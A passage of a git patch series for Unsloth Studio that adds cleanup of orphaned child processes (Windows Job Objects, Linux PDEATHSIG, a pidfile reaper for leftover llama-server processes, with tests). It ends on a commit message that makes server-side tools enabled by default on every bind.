+    kernel32.SetInformationJobObject.argtypes = [H, ctypes.c_int, ctypes.c_void_p, DWORD]
+    kernel32.SetInformationJobObject.restype = BOOL
+    kernel32.AssignProcessToJobObject.argtypes = [H, H]
+    kernel32.AssignProcessToJobObject.restype = BOOL
+    kernel32.GetCurrentProcess.argtypes = []
+    kernel32.GetCurrentProcess.restype = H
+    kernel32.CloseHandle.argtypes = [H]
+    kernel32.CloseHandle.restype = BOOL
+
+
+def _install_windows_job() -> None:
+    global _win_job_handle
+    try:
+        import ctypes
+        from ctypes import wintypes
+
+        kernel32 = ctypes.WinDLL("kernel32", use_last_error = True)
+        _win_signatures(kernel32)
+
+        class _BASIC(ctypes.Structure):
+            _fields_ = [
+                ("PerProcessUserTimeLimit", ctypes.c_int64),
+                ("PerJobUserTimeLimit", ctypes.c_int64),
+                ("LimitFlags", wintypes.DWORD),
+                ("MinimumWorkingSetSize", ctypes.c_size_t),
+                ("MaximumWorkingSetSize", ctypes.c_size_t),
+                ("ActiveProcessLimit", wintypes.DWORD),
+                ("Affinity", ctypes.c_size_t),
+                ("PriorityClass", wintypes.DWORD),
+                ("SchedulingClass", wintypes.DWORD),
+            ]
+
+        class _IO(ctypes.Structure):
+            _fields_ = [
+                (n, ctypes.c_uint64)
+                for n in (
+                    "ReadOperationCount",
+                    "WriteOperationCount",
+                    "OtherOperationCount",
+                    "ReadTransferCount",
+                    "WriteTransferCount",
+                    "OtherTransferCount",
+                )
+            ]
+
+        class _EXT(ctypes.Structure):
+            _fields_ = [
+                ("BasicLimitInformation", _BASIC),
+                ("IoInfo", _IO),
+                ("ProcessMemoryLimit", ctypes.c_size_t),
+                ("JobMemoryLimit", ctypes.c_size_t),
+                ("PeakProcessMemoryUsed", ctypes.c_size_t),
+                ("PeakJobMemoryUsed", ctypes.c_size_t),
+            ]
+
+        job = kernel32.CreateJobObjectW(None, None)
+        if not job:
+            return
+        info = _EXT()
+        info.BasicLimitInformation.LimitFlags = _JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
+        if not kernel32.SetInformationJobObject(
+            job, _JobObjectExtendedLimitInformation, ctypes.byref(info), ctypes.sizeof(info)
+        ):
+            kernel32.CloseHandle(job)
+            return
+        # AssignProcessToJobObject(parent) makes children inherit the job. May
+        # fail if Studio already runs inside an incompatible host job (pre-Win8);
+        # degrade to the cooperative path rather than blocking startup.
+        if not kernel32.AssignProcessToJobObject(job, kernel32.GetCurrentProcess()):
+            kernel32.CloseHandle(job)
+            return
+        _win_job_handle = job  # hold the handle so the job is not closed early
+    except Exception:
+        pass
+
+
+# ── Child binding ──
+
+
+def _pdeathsig_preexec() -> None:
+    # Runs in the forked child before exec. prctl is Linux-only; the getppid
+    # check closes the race where the parent died before this ran.
+    try:
+        import ctypes
+        ctypes.CDLL("libc.so.6", use_errno = True).prctl(_PR_SET_PDEATHSIG, signal.SIGTERM)
+        if os.getppid() == 1:
+            os._exit(1)
+    except Exception:
+        pass
+
+
+def bind_current_process_to_parent_lifetime() -> None:
+    """Bind the CURRENT process to its parent's death (Linux). For multiprocessing
+    children, which cannot take a preexec_fn, so the parent cannot set
+    PR_SET_PDEATHSIG for them -- the child must do it itself at startup."""
+    if _is_linux():
+        _pdeathsig_preexec()
+
+
+def compose_preexec(existing: Optional[Callable[[], None]]) -> Optional[Callable[[], None]]:
+    """Run the PDEATHSIG hook then any caller-supplied preexec (Linux only)."""
+    if not _is_linux():
+        return existing
+    if existing is None:
+        return _pdeathsig_preexec
+
+    def _composed() -> None:
+        _pdeathsig_preexec()
+        existing()
+
+    return _composed
+
+
+def child_popen_kwargs(preexec_fn: Optional[Callable[[], None]] = None) -> dict:
+    """Popen kwargs that bind a long-lived child to the parent's lifetime.
+
+    On Linux returns a composed ``preexec_fn`` (PDEATHSIG + any existing one);
+    empty elsewhere (Windows is covered by the inherited Job Object). Merge via
+    ``**child_popen_kwargs()`` alongside the caller's existing kwargs.
+    """
+    if _is_linux():
+        return {"preexec_fn": compose_preexec(preexec_fn)}
+    return {}
+
+
+def _pid_identity(pid: int) -> Optional[str]:
+    # Linux /proc starttime (stat field 22); pins identity so a reused pid is not
+    # signalled later. None (other platforms / unreadable) disables the check.
+    if not _is_linux():
+        return None
+    try:
+        with open(f"/proc/{pid}/stat", encoding = "utf-8") as fh:
+            stat = fh.read()
+        return stat[stat.rfind(")") + 2 :].split()[19]  # after comm: starttime
+    except Exception:
+        return None
+
+
+def forget_pid(pid: Optional[int]) -> None:
+    """Stop tracking a child the owner has reaped, so terminate_all never
+    signals a recycled pid."""
+    if pid:
+        _tracked_pids.pop(pid, None)
+
+
+def adopt_pid(pid: Optional[int]) -> None:
+    """Track a child (e.g. a multiprocessing worker started after the parent job
+    was set up) and, on Windows, assign it to the job as belt-and-suspenders.
+    Tolerates a None or already-exited pid."""
+    if not pid:
+        return
+    _tracked_pids[pid] = _pid_identity(pid)
+    if _is_windows() and _win_job_handle:
+        try:
+            import ctypes
+            from ctypes import wintypes
+
+            kernel32 = ctypes.WinDLL("kernel32", use_last_error = True)
+            _win_signatures(kernel32)
+            kernel32.OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]
+            kernel32.OpenProcess.restype = wintypes.HANDLE
+            PROCESS_SET_QUOTA, PROCESS_TERMINATE = 0x0100, 0x0001
+            handle = kernel32.OpenProcess(PROCESS_SET_QUOTA | PROCESS_TERMINATE, False, pid)
+            if handle:
+                kernel32.AssignProcessToJobObject(_win_job_handle, handle)
+                kernel32.CloseHandle(handle)
+        except Exception:
+            pass
+
+
+def terminate_all(timeout: float = 5.0) -> None:
+    """Backstop sweep over adopted pids, after per-subsystem cleanup. SIGTERM,
+    then SIGKILL the survivors after `timeout`. Skips a pid whose identity no
+    longer matches (recycled). Idempotent and teardown-safe."""
+    for pid, identity in list(_tracked_pids.items()):
+        _tracked_pids.pop(pid, None)
+        if identity is not None and _pid_identity(pid) != identity:
+            continue  # pid was reused by an unrelated process
+        try:
+            if _is_windows():
+                os.kill(pid, signal.SIGTERM)
+                continue
+            _posix_terminate(pid, timeout)
+        except Exception:
+            pass
+
+
+def _posix_terminate(pid: int, timeout: float = 5.0) -> None:
+    # SIGTERM, give the child up to `timeout` to exit, then SIGKILL. Reaping
+    # belongs to the child's owner (or init for orphans). Prefer the group
+    # (covers grandchildren) when pid leads its own group.
+    import time
+
+    killer = os.kill
+    try:
+        if os.getpgid(pid) == pid:
+            killer = os.killpg
+    except Exception:
+        pass
+    try:
+        killer(pid, signal.SIGTERM)
+    except ProcessLookupError:
+        return
+    except Exception:
+        return
+    deadline = time.monotonic() + max(0.0, timeout)
+    while time.monotonic() < deadline:
+        try:
+            killer(pid, 0)  # still alive?
+        except ProcessLookupError:
+            return
+        except Exception:
+            break
+        time.sleep(0.05)
+    try:
+        killer(pid, signal.SIGKILL)
+    except Exception:
+        pass

From 7fecce4e490656eb5173a7ea5e318a47f1b67b50 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 05:52:18 -0700
Subject: [PATCH 68/91] Studio: cross-session backstop to reap a leftover
 llama-server on startup (#6431)

* Reap Studio child processes when the parent dies abnormally

Standalone `unsloth studio` launches orphaned cloudflared and llama-server when
the parent exited without running the cooperative shutdown path (terminal-window
close, Task Manager End Task, SIGKILL): the children reparented to init and kept
running, leaving an authenticated Cloudflare tunnel up for days.

Add utils/process_lifetime.py: a parent-owned Windows Job Object
(JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE, children auto-inherit) plus Linux
PR_SET_PDEATHSIG, behind a best-effort helper that mirrors the desktop app's
windows_job.rs. initialize_parent_lifetime() runs at the top of run_server;
long-lived spawns (cloudflared, llama-server, RAG embedder, llama.cpp updater)
get the PDEATHSIG preexec, multiprocessing workers are adopted into the job, and
_graceful_shutdown plus atexit gain a terminate_all() backstop sweep. The
cooperative shutdown path is otherwise unchanged.

Verified on Linux: killing the parent now reaps cloudflared and llama-server
within ~2s instead of orphaning them.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* test: add real Windows kill-on-job-close integration test

Spawn a parent that installs the job and a child that inherits it, terminate
the parent, and assert the child is reaped. Skipped off Windows. Also make the
liveness probe Windows-safe (os.kill(pid, 0) terminates on Windows).

* Fix Win64 handle truncation in the Job Object calls

Set explicit argtypes so the 64-bit job/process handles are not marshaled as
c_int (which truncated them on Win64, failing AssignProcessToJobObject). Assert
install success in the Windows integration test.

* Bind multiprocessing workers to parent death; harden the sweep

Review follow-ups:
- Multiprocessing workers (inference/export/training/data-recipe/Xet) cannot be
  given a preexec_fn by the parent, so adopt_pid alone left them orphanable on a
  Linux SIGKILL. They now bind themselves with PR_SET_PDEATHSIG at startup via
  bind_current_process_to_parent_lifetime(), wired into the shared
  run_without_native_path_secret entrypoint and the Xet child entry.
- Wire the previously-missed data-recipe worker through adopt_pid.
- terminate_all now honors its timeout: SIGTERM, wait, then SIGKILL the
  survivors, so cooperative children can exit cleanly.
- Track adopted pids with a /proc starttime identity and add forget_pid, so the
  shutdown sweep never signals a recycled pid.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: cross-session backstop to reap a leftover llama-server on startup

Builds on the parent-lifetime reaper: the Windows Job Object / PR_SET_PDEATHSIG
path kills children when the parent dies, and terminate_all() sweeps the living
parent's children. Neither covers an orphan left by an already-dead Studio:
terminate_all()'s registry is in-memory, PR_SET_PDEATHSIG has no macOS
equivalent, and both are best-effort.

This records the spawned llama-server PID to a pidfile under the active studio
root (removed on _kill_process). The startup reaper kills that exact PID first,
verifying it is still a llama-server to guard against PID reuse, then clears the
pidfile. It is path-independent, so it also catches an orphan the install-root
match would miss; the pidfile only ever names a Studio-spawned server, so
unrelated user processes (vllm, games) are never candidates. The existing
root-gated enumeration stays as a further fallback.

Adds tests: kills a recorded live server (real subprocess, verifies the actual
SIGKILL), skips a reused non-llama PID, cleans a stale/missing pidfile, and
clears the pidfile on kill.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: only reap a recorded llama-server when it is a true orphan

Harden the pidfile cross-session reaper so it cannot kill a live server
and does not crash on Windows.

- Reap the recorded PID only when its parent is gone (a genuine orphan),
  so constructing a second LlamaCppBackend in-process (the helper and
  advisor paths each build one) can never kill the active chat server.
  The check is topology independent: it holds whether the sweep runs in
  the main process or a worker.
- Record pid:starttime and verify the start-time identity before killing,
  so a PID recycled to another process is never reaped.
- Fall back to SIGTERM when signal.SIGKILL is undefined (Windows), where
  os.kill maps it to TerminateProcess, instead of raising and leaving the
  orphan alive while clearing the record.

Update and extend the pidfile tests: a live server with a running parent
is spared and its record kept, an identity mismatch is skipped, the
record-to-reap round trip kills a matching orphan, and the Windows
SIGKILL fallback uses SIGTERM.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Michael Han <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    | 203 +++++++++++++++++-
 .../test_llama_cpp_wait_for_vram_settle.py    | 203 ++++++++++++++++++
 2 files changed, 405 insertions(+), 1 deletion(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index db0ce71f61..3c77487efe 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -4117,6 +4117,9 @@ class LlamaCppBackend:
             **_windows_hidden_subprocess_kwargs(),
             **_child_popen_kwargs(),
         )
+        # Cross-session backstop: record the PID so a later startup can reap this
+        # server if parent-death cleanup did not run (macOS / best-effort failure).
+        self._record_server_pid(self._process.pid)
 
         # Start background thread to drain stdout and prevent pipe deadlock
         self._stdout_thread = threading.Thread(
@@ -5450,6 +5453,7 @@ class LlamaCppBackend:
                             **_windows_hidden_subprocess_kwargs(),
                             **_child_popen_kwargs(),
                         )
+                        self._record_server_pid(self._process.pid)
 
                         # Background thread to drain stdout (prevents pipe deadlock)
                         self._stdout_thread = threading.Thread(
@@ -6203,6 +6207,7 @@ class LlamaCppBackend:
                 self._stats_logger.stop()
                 self._stats_logger = None
             self._process = None
+            self._clear_server_pid()
             # Clear healthy so a /load during the replacement's warm-up can't
             # short-circuit against the previous server's health (#5401).
             self._healthy = False
@@ -6221,6 +6226,198 @@ class LlamaCppBackend:
                     pass
                 self._llama_log_fh = None
 
+    @staticmethod
+    def _server_pidfile_path() -> Optional[Path]:
+        """Pidfile recording the live llama-server PID, under the active studio root
+        (per-root, so concurrent Studios with distinct UNSLOTH_STUDIO_HOME stay
+        isolated, mirroring the reaper's custom-root isolation)."""
+        try:
+            from utils.paths.storage_roots import studio_root  # noqa: WPS433
+            return studio_root() / "llama-server.pid"
+        except Exception:
+            return None
+
+    @classmethod
+    def _record_server_pid(cls, pid: int) -> None:
+        """Best-effort record of the spawned llama-server PID for orphan reaping.
+
+        Stores ``pid:starttime`` so a later startup can reject a PID that has
+        since been recycled to a different process (see ``_pid_start_identity``).
+        A bare ``pid`` (no identity) is still accepted on read for compatibility.
+        """
+        path = cls._server_pidfile_path()
+        if path is None:
+            return
+        try:
+            path.parent.mkdir(parents = True, exist_ok = True)
+            path.write_text(f"{pid}:{cls._pid_start_identity(pid)}")
+        except Exception as e:
+            logger.debug(f"Could not write llama-server pidfile: {e}")
+
+    @classmethod
+    def _clear_server_pid(cls) -> None:
+        """Best-effort removal of the llama-server pidfile."""
+        path = cls._server_pidfile_path()
+        if path is None:
+            return
+        try:
+            path.unlink(missing_ok = True)
+        except Exception as e:
+            logger.debug(f"Could not remove llama-server pidfile: {e}")
+
+    @staticmethod
+    def _pid_is_llama_server(pid: int) -> bool:
+        """True only if pid is a live process whose binary is a llama-server. Guards
+        against PID reuse before killing a recorded orphan; returns False on any
+        uncertainty so an unrelated process is never killed."""
+        try:
+            import psutil
+            try:
+                proc = psutil.Process(pid)
+                if (proc.name() or "").lower().startswith("llama-server"):
+                    return True
+                return Path(proc.exe() or "").name.lower().startswith("llama-server")
+            except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
+                return False
+        except ImportError:
+            pass
+        if sys.platform != "linux":
+            return False
+        try:
+            if Path(os.readlink(f"/proc/{pid}/exe")).name.lower().startswith("llama-server"):
+                return True
+        except OSError:
+            pass
+        try:
+            with open(f"/proc/{pid}/cmdline", "rb") as fh:
+                tokens = fh.read().split(b"\x00")
+            first = tokens[0].decode("utf-8", "replace") if tokens else ""
+            return Path(first).name.lower().startswith("llama-server")
+        except OSError:
+            return False
+
+    @staticmethod
+    def _pid_start_identity(pid: int) -> str:
+        """Stable per-PID identity (process start time) guarding against PID reuse.
+
+        Returns a token string, or "" when it cannot be determined (the caller
+        then falls back to the llama-server name check only)."""
+        try:
+            import psutil
+            try:
+                return str(psutil.Process(pid).create_time())
+            except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
+                return ""
+        except ImportError:
+            pass
+        if sys.platform == "linux":
+            try:
+                with open(f"/proc/{pid}/stat", "rb") as fh:
+                    data = fh.read()
+                # field 22 (starttime), counted from after the ")" that closes comm.
+                return data[data.rfind(b")") + 2 :].split()[19].decode()
+            except (OSError, IndexError):
+                return ""
+        return ""
+
+    @staticmethod
+    def _pid_parent_is_alive(pid: int) -> bool:
+        """True if the recorded server's parent is still running, i.e. the server is
+        NOT orphaned. Lets the cross-session reap kill only a true orphan (parent
+        gone) and never a live server owned by a running Studio, regardless of which
+        process performs the sweep. Biased toward "alive" on uncertainty so a live
+        server is never mistakenly reaped."""
+        try:
+            import psutil
+
+            try:
+                ppid = psutil.Process(pid).ppid()
+            except psutil.NoSuchProcess:
+                return False  # the recorded server itself is gone
+            except psutil.Error:
+                return True  # cannot tell -- never risk killing a live server
+            if ppid <= 1:
+                return False  # reparented to init -> orphan
+            return psutil.pid_exists(ppid)
+        except ImportError:
+            pass
+        if sys.platform == "linux":
+            try:
+                with open(f"/proc/{pid}/stat", "rb") as fh:
+                    data = fh.read()
+                ppid = int(data[data.rfind(b")") + 2 :].split()[1])
+            except (OSError, IndexError, ValueError):
+                return False
+            if ppid <= 1:
+                return False
+            return Path(f"/proc/{ppid}").exists()
+        return False
+
+    @staticmethod
+    def _unlink_pidfile(path: Path) -> None:
+        """Best-effort removal of a resolved pidfile path."""
+        try:
+            path.unlink(missing_ok = True)
+        except Exception:
+            pass
+
+    @classmethod
+    def _reap_recorded_pid(cls) -> int:
+        """Kill the exact llama-server PID recorded at spawn, but only when it is a
+        genuine orphan -- its parent (the Studio that spawned it) is gone. This is
+        the cross-session backstop the parent-death reaper (Job Object /
+        PR_SET_PDEATHSIG) cannot cover: an orphan left by an already-dead Studio
+        (macOS, a best-effort failure, or a pre-existing orphan). Path-independent,
+        so it also catches an orphan the install-root match would miss.
+
+        A live server whose parent is still running is never reaped, so constructing
+        a second backend in-process (the helper / advisor paths each build a
+        LlamaCppBackend) cannot kill the active chat server. A recorded PID that has
+        been recycled to a different process is rejected by the start-time identity
+        and the llama-server name check, so unrelated user processes are never
+        touched. SIGKILL falls back to SIGTERM on Windows, where os.kill maps it to
+        TerminateProcess and SIGKILL is undefined."""
+        path = cls._server_pidfile_path()
+        if path is None or not path.exists():
+            return 0
+
+        pid = -1
+        identity = ""
+        try:
+            pid_str, _, identity = path.read_text().strip().partition(":")
+            pid = int(pid_str)
+        except Exception:
+            pid = -1
+
+        if pid <= 0:
+            cls._unlink_pidfile(path)  # garbage record
+            return 0
+        if pid == os.getpid():
+            return 0  # never our own pid; leave the record alone
+
+        if cls._pid_parent_is_alive(pid):
+            # Live server with a running parent -> not an orphan; keep the record so
+            # a later startup can still reap it if that parent later dies abnormally.
+            return 0
+
+        # Parent is gone: candidate orphan. Reject a PID recycled to something else.
+        if identity and cls._pid_start_identity(pid) != identity:
+            cls._unlink_pidfile(path)
+            return 0
+
+        killed = 0
+        if cls._pid_is_llama_server(pid):
+            try:
+                os.kill(pid, getattr(signal, "SIGKILL", signal.SIGTERM))
+                killed = 1
+                logger.info(f"Killed orphaned llama-server from pidfile (pid={pid})")
+            except (ProcessLookupError, PermissionError):
+                pass
+            except Exception as e:
+                logger.debug(f"Could not kill recorded llama-server pid {pid}: {e}")
+        cls._unlink_pidfile(path)
+        return killed
+
     @staticmethod
     def _kill_orphaned_servers() -> int:
         """Kill orphaned llama-server processes started by studio.
@@ -6238,7 +6435,11 @@ class LlamaCppBackend:
         Returns the count of processes killed; callers arm the VRAM-settle
         wait on a positive count.
         """
-        killed = 0
+        # Cross-session backstop first: reap the exact PID we recorded at spawn,
+        # but only if it is a true orphan whose parent is gone (so a helper backend
+        # built while a chat server is live can never kill it). The root-gated
+        # enumeration below stays as a fallback.
+        killed = LlamaCppBackend._reap_recorded_pid()
         try:
             # -- Build the ownership allowlist --------------------------------
             # exact_binaries -- env var overrides (exact path match).
diff --git a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
index c103c6394a..3c21f41701 100644
--- a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
+++ b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
@@ -406,3 +406,206 @@ def test_startup_reaper_arms_settle_timestamp():
     assert (
         backend_cold._last_kill_monotonic == 0.0
     ), "no reap must leave the cold-start sentinel so the wait is skipped"
+
+
+# ---------------------------------------------------------------------------
+# Cross-session backstop: a server PID recorded at spawn is reaped on the next
+# startup even when parent-death cleanup did not run (macOS, a best-effort
+# PR_SET_PDEATHSIG / Job Object failure, or a pre-existing orphan), but ONLY when
+# it is a true orphan (its parent is gone), it still is a llama-server, and its
+# start-time identity matches. A live server (parent still running) is spared so a
+# helper backend built in-process can never kill the active chat server.
+# ---------------------------------------------------------------------------
+
+
+class _FakeKillProc:
+    def terminate(self):
+        pass
+
+    def wait(self, timeout = None):
+        return 0
+
+    def kill(self):
+        pass
+
+    def poll(self):
+        return 0
+
+
+def test_kill_process_clears_pidfile(tmp_path):
+    """A real kill removes the recorded pidfile so a clean eject leaves no orphan marker."""
+    pidfile = tmp_path / "llama-server.pid"
+    pidfile.write_text("12345")
+    backend = LlamaCppBackend.__new__(LlamaCppBackend)
+    backend._process = _FakeKillProc()
+    backend._healthy = False
+    backend._stdout_thread = None
+    backend._llama_log_fh = None
+    backend._last_kill_monotonic = 0.0
+    backend._stats_logger = None
+    with patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)):
+        backend._kill_process()
+    assert not pidfile.exists()
+
+
+def test_reap_recorded_pid_kills_recorded_server(tmp_path):
+    """An orphaned recorded PID (parent gone) is killed and the pidfile cleared
+    when it is still a llama-server."""
+    import subprocess
+
+    proc = subprocess.Popen([sys.executable, "-c", "import time; time.sleep(30)"])
+    pidfile = tmp_path / "llama-server.pid"
+    pidfile.write_text(str(proc.pid))
+    try:
+        with (
+            patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)),
+            patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)),
+            patch.object(
+                LlamaCppBackend,
+                "_pid_is_llama_server",
+                staticmethod(lambda pid: pid == proc.pid),
+            ),
+        ):
+            n = LlamaCppBackend._reap_recorded_pid()
+        assert n == 1
+        assert not pidfile.exists()
+        proc.wait(timeout = 5)
+        assert proc.poll() is not None
+    finally:
+        if proc.poll() is None:
+            proc.kill()
+            proc.wait(timeout = 5)
+
+
+def test_record_then_reap_round_trip_identity_matches(tmp_path):
+    """Full round trip: _record_server_pid writes pid:starttime, and an orphaned
+    reap whose recorded identity still matches DOES kill it."""
+    import subprocess
+
+    proc = subprocess.Popen([sys.executable, "-c", "import time; time.sleep(30)"])
+    pidfile = tmp_path / "llama-server.pid"
+    try:
+        with patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)):
+            LlamaCppBackend._record_server_pid(proc.pid)
+        assert ":" in pidfile.read_text(), "a start-time identity must be recorded"
+        with (
+            patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)),
+            patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)),
+            patch.object(LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: True)),
+        ):
+            n = LlamaCppBackend._reap_recorded_pid()
+        assert n == 1, "a matching identity on a true orphan must be reaped"
+        proc.wait(timeout = 5)
+        assert proc.poll() is not None
+        assert not pidfile.exists()
+    finally:
+        if proc.poll() is None:
+            proc.kill()
+            proc.wait(timeout = 5)
+
+
+def test_reap_recorded_pid_spares_live_server(tmp_path):
+    """A recorded server whose parent is still alive (the running Studio) is NEVER
+    reaped, and its pidfile is kept. This is the finding-3 guard: a helper backend
+    constructed in-process must not kill the active chat server. Uses the REAL
+    _pid_parent_is_alive (the child's parent is this live test process)."""
+    import subprocess
+
+    proc = subprocess.Popen([sys.executable, "-c", "import time; time.sleep(30)"])
+    pidfile = tmp_path / "llama-server.pid"
+    pidfile.write_text(str(proc.pid))
+    try:
+        with (
+            patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)),
+            # Force the name check True so ONLY the parent-alive guard can spare it.
+            patch.object(LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: True)),
+        ):
+            n = LlamaCppBackend._reap_recorded_pid()
+        assert n == 0, "a live server with a running parent must not be reaped"
+        assert proc.poll() is None, "the live server must still be running"
+        assert pidfile.exists(), "the record is kept so a later orphan reap still works"
+    finally:
+        proc.kill()
+        proc.wait(timeout = 5)
+
+
+def test_reap_recorded_pid_skips_pid_reuse(tmp_path):
+    """A recorded PID recycled to a non-llama-server must NOT be killed (only the
+    stale pidfile is cleaned), so the user's vllm/games are never touched."""
+    import subprocess
+
+    proc = subprocess.Popen([sys.executable, "-c", "import time; time.sleep(30)"])
+    pidfile = tmp_path / "llama-server.pid"
+    pidfile.write_text(str(proc.pid))
+    try:
+        with (
+            patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)),
+            patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)),
+            patch.object(LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: False)),
+        ):
+            n = LlamaCppBackend._reap_recorded_pid()
+        assert n == 0
+        assert proc.poll() is None, "an unrelated reused PID must not be killed"
+        assert not pidfile.exists(), "stale pidfile is cleaned up"
+    finally:
+        proc.kill()
+        proc.wait(timeout = 5)
+
+
+def test_reap_recorded_pid_skips_identity_mismatch(tmp_path):
+    """An orphaned PID whose recorded start-time identity no longer matches has been
+    recycled; it must NOT be killed even if it now looks like a llama-server."""
+    import subprocess
+
+    proc = subprocess.Popen([sys.executable, "-c", "import time; time.sleep(30)"])
+    pidfile = tmp_path / "llama-server.pid"
+    pidfile.write_text(f"{proc.pid}:0.0")  # stale identity that cannot match
+    try:
+        with (
+            patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)),
+            patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)),
+            patch.object(LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: True)),
+        ):
+            n = LlamaCppBackend._reap_recorded_pid()
+        assert n == 0, "a PID whose start-time identity changed must not be killed"
+        assert proc.poll() is None, "the recycled process must survive"
+        assert not pidfile.exists(), "stale pidfile is cleaned up"
+    finally:
+        proc.kill()
+        proc.wait(timeout = 5)
+
+
+def test_reap_recorded_pid_windows_sigkill_fallback(tmp_path, monkeypatch):
+    """On Windows signal.SIGKILL is undefined; the reaper must fall back to SIGTERM
+    (os.kill -> TerminateProcess) instead of crashing and leaving the orphan."""
+    import os as _os
+    import signal as _signal
+
+    monkeypatch.delattr(_signal, "SIGKILL", raising = False)
+    captured = {}
+
+    def _fake_kill(pid, sig):
+        captured["pid"] = pid
+        captured["sig"] = sig  # recorded; do not actually signal anything
+
+    pidfile = tmp_path / "llama-server.pid"
+    pidfile.write_text("424242")
+    with (
+        patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)),
+        patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)),
+        patch.object(LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: True)),
+        patch.object(_os, "kill", _fake_kill),
+    ):
+        n = LlamaCppBackend._reap_recorded_pid()
+    assert n == 1
+    assert (
+        captured.get("sig") == _signal.SIGTERM
+    ), "must fall back to SIGTERM when SIGKILL is absent"
+    assert not pidfile.exists()
+
+
+def test_reap_recorded_pid_no_pidfile(tmp_path):
+    """No pidfile -> nothing reaped, no error."""
+    pidfile = tmp_path / "llama-server.pid"  # never created
+    with patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)):
+        assert LlamaCppBackend._reap_recorded_pid() == 0

From ce193c243da51f0a07d3e866779407f2e349e55b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 05:52:40 -0700
Subject: [PATCH 69/91] Keep server-side tools enabled under --secure (#6403)

* Keep server-side tools enabled under --secure and on every bind

--secure binds loopback and exposes Studio only through an authenticated
Cloudflare HTTPS tunnel, but it was grouped with a raw 0.0.0.0 bind and
force-disabled all server-side tools (web search, Python, terminal). The
process tool policy overrode the client's enable_tools request, so the
model was never told the tools existed and answered in plain text. The
plain 'unsloth studio' command had no way to re-enable and printed nothing.

Tools now default on for every bind. The bind host and --secure no longer
change the tool policy; only an explicit --enable-tools/--disable-tools
forces it on or off. Both 'unsloth studio' and 'unsloth studio run' accept
the flags and the startup banner states the resolved policy.

- run.py: replace _apply_default_tool_policy(host, secure) with
  _apply_cli_tool_policy(enable_tools); add an enable_tools kwarg to
  run_server and --enable-tools/--disable-tools to the argparse.
- _tool_policy.py: resolve_tool_policy defaults to on for every host and
  no longer prompts on a network bind.
- studio.py: drop the secure-as-public tool gating, add the flags to the
  plain command, and reword the startup banner.
- Update and extend the secure-flag and tool-policy tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add tool-policy notice to plain server banner and refresh run --help

Follow-up to PR review:
- run.py: the plain 'unsloth studio' / --secure / direct run.py path went
  through _emit_startup_output without any tool-policy line, so a
  network-reachable launch was silent about code execution now that tools
  default on. Thread enable_tools through _emit_startup_output /
  _emit_secure_startup_output and print a one-line policy notice, followed by
  a single stop hint.
- studio.py: the 'unsloth studio run' --enable-tools/--disable-tools and --yes
  help still described the removed loopback-on/network-off default and the
  confirmation prompt; reword to match the new policy.
- Add tests for the banner notice and the refreshed help text.

* Update CI tool-policy resolver tests for default-on behavior

tests/python/test_unsloth_run_tool_policy_resolver.py still asserted the
removed network-bind policy (0.0.0.0 and LAN IP default off, explicit enable
prompts and aborts on a declined prompt), so it failed the Python CI jobs.
Rewrite the truth table: every bind defaults on, explicit on/off always wins,
and the resolver never prompts (yes/silent/prompt kept for compatibility).

* Trim comments for the tool-policy change

Shorten the verbose docstrings and block comments added for --secure tool
handling; keep the security-relevant intent. Verified comment-only via an AST
diff (code unchanged).

* Add deterministic test that server-side tools execute under --secure

Drive the GGUF agentic tool loop with a fake llama-server stream and let the
real execute_tool run: python counts 1..100, terminal returns a UTC datetime,
and web_search runs through real _web_search with only the ddgs network
boundary mocked. A policy assertion pins that the post-fix --secure path
(policy None + per-request enable_tools) is what keeps these executions
reachable. No model, GPU, or live network; runs in the existing backend CI.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

